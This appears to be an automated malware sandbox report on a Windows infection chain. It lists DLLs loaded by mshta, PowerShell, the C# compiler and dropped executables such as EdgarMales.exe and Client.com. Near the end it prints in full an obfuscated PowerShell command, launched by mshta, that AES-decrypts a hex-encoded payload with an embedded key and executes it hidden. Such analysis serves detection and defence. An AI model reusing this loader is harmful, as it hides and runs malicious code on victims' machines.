Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: slc.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\OpenSSH\ssh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: zipfldr.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: shdocvw.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: mpclient.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: secur32.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sspicli.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: version.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: msasn1.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: userenv.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: gpapi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: wbemcomn.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: amsi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: profapi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: wscapi.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: urlmon.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: iertutil.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: srvcli.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: netutils.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: slc.dll
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Section loaded: riched20.dll
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Section loaded: usp10.dll
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Section loaded: msls31.dll
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\383847\Client.com	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\383847\Client.com	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\383847\Client.com	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\383847\Client.com	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\383847\Client.com	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\383847\Client.com	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\383847\Client.com	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\383847\Client.com	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\383847\Client.com	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\383847\Client.com	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\383847\Client.com	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\383847\Client.com	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\383847\Client.com	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\383847\Client.com	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\383847\Client.com	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\383847\Client.com	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\383847\Client.com	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\383847\Client.com	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\383847\Client.com	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll

Source: C:\Windows\System32\OpenWith.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\crash_reporter.cfg

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function RFpfE($qAFB){return -split ($qAFB -replace '..', '0x$& ')};$CLkAU = RFpfE('F6A906EA9A8B03BF8982351A6A2E7F5601882A3C15DC699E327C9FD9263B8CC4B78E45D1498DA21901CB01F8EE21A81F89423EDE39C43E4445F86F100145C78A254E490087C167A8FCDE9AB218491ED0390CACB6AFB8FA9DB178377E3692D7890E2208442D0DD53C8D81A98ADF5E41401F6EC8AF5E5E93E92E92C36F10387F113BAE0E14E51540D2403F393D3BA8544000D12628DA6AE647EB44003EA36C928710911689A7C08F647917F48BCFF8A16D809736B319C8C6D120509449D4D908CBB00B9B3968A0264F0D00C13645E8839D472B1FC2526A10F919B7051E20380EC70097EFA1DDB8920157957F22E28530A6B1103EAB51B4ADB7C8A7FF8C7756348170B5A842F52100EC776BEE97CEE285636BB3D580D3A7903B8B981EFA047E102E320AEE9A19897CC68457DD16FBEDEE177C3F3380508FB7C5D541C078FFC435E191D6EB52AA039F2EEA8CD38EBA3FC25F9923C5BC673060E8683A1AEDE8D9B835DD8070763F9356572D1D85A96981C2F8326E8E1344B45EC0A84F20D785452184647540978C61E331B68CFFFA60EA7EA10FE603D924EC3BC680C9289327BCCAADD415AA7B64A5A9569DB1D72DA21B969668306D3276D60EC4C42EEE4207D341C503F8521E0607B70A5CC9DB91371C16084C8D11303CA3DA1A2E008A7149BD890A38EEE37EEA63A901FE1D9D9F378811B950CF33C565A4082C4FE668A955A639FA7578699ADDF819BDDBA0F15695838BB098BF5B128542F631ECE9DEF5BD905CD1732F31E056686D623BCD5039FC9DDEC74DDA666D62AC11454F8B9041F83E9FF96C0900ADD4250ABE73F4218ED174ECD8C5DE8E12B5E9AA98785D96377360B4EFFEBB72B3D85690B96F86CA5F386E54C647E80B3EB73551FFBFBA8E1AC325311CF6B9CFCDDF855EFB4194FD7806925E6E20AEC7A8A4832597F78D6B3B3A05044A2A70D014DE815B9DCD4964187B56C4550CAA047A06D325827E7A0C78021FA788364258976E4F05BF34D8713C34B971800E76733923D64C7E44C914B597BF67AF87BEACF301F8BBE82829B975012AB505B025B56F2EDAC8FACAC1E9394E7DE9A7B5D1B17F43BCAA9DAAEBA539F9AD1A94A8FB04E2D6A81C28F2202ACD2521D0D9F6A81CD76A6B37B78E8A56DC502729F8842DDA04E915E907966BF28DEFF880103C0EA91F78F5EF0767158F737693FA24122559B72F63D01B727410CA885A6A1E262317F081B8BC62E83ED1908661D47DBB97B9E1CFFCECB827FD80AE793463F2B92C66A2BB43865FF371643B83E017909EF24426E1537F23C3358D3B8B0930E585FD05ACE55BD064681A48A7E4FB064E0FC093C1E912C0E8BC84E3419E3A9809B3D6FF420C3839DCBD8FEF438B40F88753FB77C0743BCE75E544C62182B0FEEA97C041D7B18457E6584778F22EDEF36672015D59B8682037DEDBF664F5134470');$vDlAX=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((RFpfE('5A4C72435A7854455476796A794D454C')),[byte[]]::new(16)).TransformFinalBlock($CLkAU,0,$CLkAU.Length)); & $vDlAX.Substring(0,3) $vDlAX.Substring(215)
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function RFpfE($qAFB){return -split ($qAFB -replace '..', '0x$& ')};$CLkAU = RFpfE('F6A906EA9A8B03BF8982351A6A2E7F5601882A3C15DC699E327C9FD9263B8CC4B78E45D1498DA21901CB01F8EE21A81F89423EDE39C43E4445F86F100145C78A254E490087C167A8FCDE9AB218491ED0390CACB6AFB8FA9DB178377E3692D7890E2208442D0DD53C8D81A98ADF5E41401F6EC8AF5E5E93E92E92C36F10387F113BAE0E14E51540D2403F393D3BA8544000D12628DA6AE647EB44003EA36C928710911689A7C08F647917F48BCFF8A16D809736B319C8C6D120509449D4D908CBB00B9B3968A0264F0D00C13645E8839D472B1FC2526A10F919B7051E20380EC70097EFA1DDB8920157957F22E28530A6B1103EAB51B4ADB7C8A7FF8C7756348170B5A842F52100EC776BEE97CEE285636BB3D580D3A7903B8B981EFA047E102E320AEE9A19897CC68457DD16FBEDEE177C3F3380508FB7C5D541C078FFC435E191D6EB52AA039F2EEA8CD38EBA3FC25F9923C5BC673060E8683A1AEDE8D9B835DD8070763F9356572D1D85A96981C2F8326E8E1344B45EC0A84F20D785452184647540978C61E331B68CFFFA60EA7EA10FE603D924EC3BC680C9289327BCCAADD415AA7B64A5A9569DB1D72DA21B969668306D3276D60EC4C42EEE4207D341C503F8521E0607B70A5CC9DB91371C16084C8D11303CA3DA1A2E008A7149BD890A38EEE37EEA63A901FE1D9D9F378811B950CF33C565A4082C4FE668A955A639FA7578699ADDF819BDDBA0F15695838BB098BF5B128542F631ECE9DEF5BD905CD1732F31E056686D623BCD5039FC9DDEC74DDA666D62AC11454F8B9041F83E9FF96C0900ADD4250ABE73F4218ED174ECD8C5DE8E12B5E9AA98785D96377360B4EFFEBB72B3D85690B96F86CA5F386E54C647E80B3EB73551FFBFBA8E1AC325311CF6B9CFCDDF855EFB4194FD7806925E6E20AEC7A8A4832597F78D6B3B3A05044A2A70D014DE815B9DCD4964187B56C4550CAA047A06D325827E7A0C78021FA788364258976E4F05BF34D8713C34B971800E76733923D64C7E44C914B597BF67AF87BEACF301F8BBE82829B975012AB505B025B56F2EDAC8FACAC1E9394E7DE9A7B5D1B17F43BCAA9DAAEBA539F9AD1A94A8FB04E2D6A81C28F2202ACD2521D0D9F6A81CD76A6B37B78E8A56DC502729F884